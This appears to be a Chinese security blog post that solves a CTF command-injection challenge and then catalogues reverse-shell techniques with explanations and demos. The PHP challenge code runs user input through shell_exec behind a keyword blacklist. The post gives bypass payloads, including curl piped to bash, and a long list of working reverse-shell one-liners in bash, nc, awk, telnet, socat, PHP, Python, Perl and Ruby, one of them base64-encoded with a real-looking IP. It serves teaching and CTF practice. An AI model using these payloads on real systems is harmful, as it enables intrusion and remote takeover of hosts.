<?phpif(isset($_GET['cmd'])){ $cmd=$_GET['cmd']; if(!preg_match("/\;|\&|\$|\x09|\x26|\`|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){ shell_exec($cmd); } else{ echo "NoNoNo"; }}else{ highlight_file(__FILE__);}?>
这里可以看出是命令实行类的题目,但是一些关键词被ban了,例如php被ban,因此这里的话想用PHP://伪协议读取flag就弗成了,想写一句话木马的话虽然可以用=代替php,但由于这里$了,以是也弗成,那么这里的思路我的话觉得是还有两种,一种是利用重定向符,他这里输出是无回显的,我们可以把他写到一个文件中,然后访问这个文件来查看回显,因此payload如下
cmd=ls />a
接下来访问xxx/a(flag在这里,截图的时候没把稳,导致没把flag截出来)
此时创造flag在根目录下,再用一下查看文件的命令重定向到a,本来是这样就可以了,但是这里我们创造ban了flag关键字,以是没办法直接cat flag >a,但是我们知道还有通配符,f可以表示flag,因此payload如下

cmd=cat /f>a
还有一种方法,便是我想说的方法了,即反弹Shell,反弹Shell这个我之前用的都是nc命令,这里我布局payload如下来考试测验反弹Shell
cmd=nc -e ip/port 7777
但是没有反弹上来,可能是短缺了nc环境因此这里的话只好再找另一个语句,后来想到用这个语句bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1,但是这里ban了&,导致我们不能够直接进行反弹shell,这个时候看到curl没有被ban,我们可以利用curl来实现(事理后面讲,这里先说一下利用办法),详细如下
curl xxx:xxx:xxx:xxx:port|bash
而我们的做事器下的内容为
bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1
这样就成功绕过了&同时实现反弹shell。
这里在做的时候须要做事器先监听7777端口,再实行语句
创造flag
成功读取flag
反弹shell定义什么是反弹shell?原词为reverse shell,含义如下
掌握端监听在某TCP/UDP端口,被控端发起要求到该端口,并将其命令行的输入输出转到掌握端。
实在质便是实现客户端与做事真个互换
利用缘故原由初学时我们不禁有这样的疑问,为什么我们要用反弹shell呢?我们时候利用反弹shell呢?阐明如下
为什么要用反弹shell
这里不以CTF举例,以相对更真实一点的渗透过程来举例,比如你作为攻击方,成功向目标处上传了木马文件,可以实行一些语句,我们想获取一个可以直接操作主机的虚拟终端,这个时候就须要利用反弹shell了,由于反弹shell后才可以操作主机。这里借用安全客myles007大师傅的图来展示一下,这样可能会更生动易懂一些
那么这个问题办理了,接下来我们看下一个问题
什么时候用反弹shell
我认为的话便是以下两种情形
1、其环境是不稳定的,可能过段韶光环境会变好(动态环境)2、目标机无法接管要求,但是可以发送要求
在一位大师傅的文章中,我学习到了其他利用反弹shell的场景(引用于https://xz.aliyun.com/t/2549)
1、由于防火墙等限定,对方机器只能发送要求,不能吸收要求。2、它的ip会动态改变,你不能持续掌握。3、某客户机中了你的网马,但是它在局域网内,你直接连接不了。4、对付病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,以是建立一个做事端,让恶意程序主动连接,才是上策。
对付场景1来阐明一下,便是这个时候,攻击机监听一个端口,目标机主动发送要求给攻击机的这个监听端口,这时候就实现了反弹连接
常见的反弹Shell语句事理Ncnc,全称是Netcat,利用的是UDP和TCP协议,它可以相对较大略的建立一些连接,接下来理解一下要用到的参数
-l 利用监听模式,管控传入的资料。-v 显示指令实行过程。-n 直策应用IP地址,而不通过域名做事器。-p<通信端口> 设置本地主机利用的通信端口。
这几个参数常用于监听,也便是攻击机利用的,当目标机主动连接我们的攻击机时,我们须要监听这个端口来实现获取shell,详细指令的话便是
nc -lvnp 7777 //任意端口,没被占用即可(如果弗成记得看看防火墙是否开启了对应端口)
接下来还有一个参数,很主要的一个参数,也便是-e,其阐明如下
-e, --exec=PROGRAM program to exec after connect
这个是啥意思呢,实在便是说在连接过后会实行程序,这个是为了我们连接后能够输入指令做准备,它是用于目标机的,由于目标机能够发送要求,以是我们让他通过nc指令和e参数,来向攻击机发送要求,把bash(一种shell)给发送出去,这样就实现了反弹shell
demo攻击机:监听端口7777,指令如下
nc-lvnp 7777
目标机:发送要求,将bash弹给攻击机
nc xxx.xxx.xxx.xxx 7777 -e /bin/bash
可以创造成功连接,可以实行指令。
BashBash,全称Bourne Again shell,是一种shell,我们利用它来进行反弹shell的时候,常见的是将它与重定向符结合,指令如下
bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1
对付这个该怎么去理解呢首先我们理解一下-i参数,-i的话是指交互模式,那bash -i的话便是打开一个交互环境接下来看>&,拆分来看,先看>对付linux大略理解一下,可以知道这里的>是重定向符,前面的语句会被写入到后面,比如echo 2>1.txt,这个时候就会将2输出到1.txt文件中
这个时候就知道>的浸染了,接下来看一下&我们知道&是联合字符,相称于and,浸染是连接前后,那么这里的话实在便是将前面和后面一起重定向给后面接下来看这个/dev/tcp/xxx.xxx.xxx.xxx/7777在linux中,统统都因此文件形式存在的,这里的话便是和xxx这个ip地址的7777端口建立一个tcp连接接下来看一下0>&1,这里的&有分外含义,详细如下
这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有&,系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述
这个0是与前面的攻击机结合的,输入0是由/dev/tcp/xxx.xxx.xxx.xxx/7777输入的,命令实行结果是1,当我们用重定向符>,写出0>&1,这就实现了输入输出都在攻击机上。这个时候的话再来看这个完全语句就比较好理解了
bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1
先是bash天生交互环境,然后用发起与攻击机7777端口的连接(tcp连接),然后重定向给攻击机端口,而后将标准输出重定向到标准输入中,这便是全体语句的过程。
demo攻击机,开启监听
nc -lvnp 7777
目标机,实行bash语句
bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1
涌现了点bug,百度过后说是由于shell由bash解析,有时候是由zsh或sh解析,以是不一定会实行,但是我试了试创造把它进行base64加密后,这样就可以实行
bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzNC4yMTIuMjI1LjE0Mi83Nzc3IDA+JjEgIA==}|{base64,-d}|{bash,-i}'
阐明一下,bash -c参数后接一个指令,然后会实行这个语句base64解密后便是/bin/bash -i >& /dev/tcp/134.212.225.142/7777 0>&1
此时再查看攻击机
成功反弹shell
awkAWK 是一种处理文本文件的措辞,是一个强大的文本分析工具。这里我们用的话实在也便是用到了一个他的for循环这些根本知识,有兴趣的师傅们可以参考这篇文章来详细的理解awkhttps://github.com/mylxsw/growing-up/blob/master/doc这里我先将语句列出,而后再进行阐明
awk 'BEGIN{s="/inet/tcp/0/IP/Port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
BEGIN语句块在程序开始的利用实行,它只实行一次,BEGIN中的内容是awk要实行的命令,那么这里的话便是与攻击机的某个端口进行了tcp链接,而后你可以瞥见是一个for循环,初始化内容为空,然后条件对应的内容是读取s放入变量c中,然后增量是每次关闭c管道。接下来是一个while循环,条件对应的内容是读取c放入$0中,如果知足就输出,否则就关闭s管道
注:参考了很多师傅的博客,但觉得还是理解有点问题,还请各位师傅多多示正
demo攻击机,开启监听
目标机,调用awk语句,详细如下
awk 'BEGIN{s="/inet/tcp/0/xxx.xxx.xxx.xxx/7777";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
此时再看攻击机
成功反弹shell
Curl结合Bash进行反弹shell这个便是用于绕过的,当目标机存在某些防护过滤了一些字符时,我们可以通过这个来实现反弹shell,语句如下
curl ip|bash
它的话实在便是以bash解析shell,对ip进行curl指令,即要求这个ip,然后我们的这个ip的内容是bash反弹shell的语句,即
bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1
此时就可以绕过防护且成功反弹shell,这个时候也就该当可以理解上文的绕过办法了
demo攻击机首先上准备一个界面,其内容是bash反弹shell语句
然后接下来去监听7777端口
目标机:开始curl语句要求对应端口
接下来查看攻击机
成功反弹shell,可以实行语句
TalentTelnet协议是TCP/IP协议族中的一员,是Internet远程登录做事的标准协议和紧张办法。它为用户供应了在本地打算机上完发展途主机事情的能力。这里的话有两种方法,先先容第一种办法第一种办法的话先给出参考payload
telnet xxx.xxx.xxx.xxx port| /bin/bash | telnet xxx.xxx.xxx.xxx port2
这个的话便是用talnet主动连接攻击机的某个端口,然后将输出信息作为bash的输入,即用bash实行其输出信息,接下来用管道符将bash的输出重定向到talnet连接的攻击机的另一个端口下,实在也便是将回显输出到这个端口下了,此时实现了攻击机port端口实行的语句,在port2端口可以看到回显信息
第二种办法先给出参考payload
mknod a p; telnet xxx.xxx.xxx.xxx port 0<a | bin/bash 1>a
便是创建一个管道a,然后用talent与攻击机的某个端口进行连接,再用重定向将标准输入定向到管道a中,接下来再用管道符|,将左边的输出作为右边的输入,也便是说用bash实行talent的输出信息,然后1>a,便是将标准输出重定向到a,这个时候就实现了标准输入和输出都在同一个管道下
demo攻击机监听两个端口,一个用于实行指令,一个用于查看回显
nc -lvnp 7777nc -lvnp 6379
目标机用talent发送两个要求,分别要求攻击机的两个端口,一个用于将bash终端发送出去,一个用于获取bash的输出信息
telnet xxx.xxx.xxx.xxx 7777 | /bin/bash | telnet xxx.xxx.xxx.xxx 6379
此时查看攻击机,创造成功连接,实行命令
查看另一个端口
成功反弹shell
demo2这个须要是root权限,普通用户没有权限实行mknod命令
攻击机,开启监听
目标机,用重定向将输入输出定向到同一个管道中,同时用telent主动连接攻击机
mknod a p; telnet xxx.xxx.xxx.xxx 7777 0<a | /bin/bash 1>a
Socat
Socat,全称Socket CAT,其功能类似于netcat这个的话是我们须要提前安装的,那想要利用这个实现反弹shell的话,就须要目标机有这个环境这个怎么安装呢,用apt-get install Socat即可接下来说一下它的思路,实在便是利用Socat向攻击机某个端口发送要求,然后用exec实行语句,得到bash交流环境
demo攻击机,开启监听
目标机,用socat连接ip连接,用exec搭建bash交互环境,实行语句如下
socat tcp-connect:xxx.xxx.xxx.xxx:7777 exec:'bash -li',pty,stderr,setsid,sigint,sane
此时查看攻击机
成功实行
脚本类反弹shell当目标机存在一些措辞环境时,也可以借助对应措辞脚本来实现反弹shell,这里给出一些网上常见的反弹shell语句,仅供参考
PHP措辞反弹shell
php -r '$sock=fsockopen("IP","Port");exec("/bin/sh -i <&3 >&3 2>&3");'
Python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Perl反弹shell
perl -e 'use Socket;$i="IP";$p=Port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
ruby反弹shell
ruby -rsocket -e 'c=TCPSocket.new("IP","Port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
后文
这里的话也是将网络中较常见的反弹shell大略总结了一下,如果有问题的话还请各位师傅多多指教。
参考文章https://xz.aliyun.com/t/2549https://www.freebuf.com/articles/network/334613.htmlhttps://www.modb.pro/db/421543https://www.jianshu.com/p/37924017feb1https://www.freebuf.com/articles/web/247967.htmlhttps://www.anquanke.com/post/id/87017https://blog.csdn.net/weixin_44288604/article/details/111740527
本文作者:quan9i, 转载请注明来自FreeBuf.COM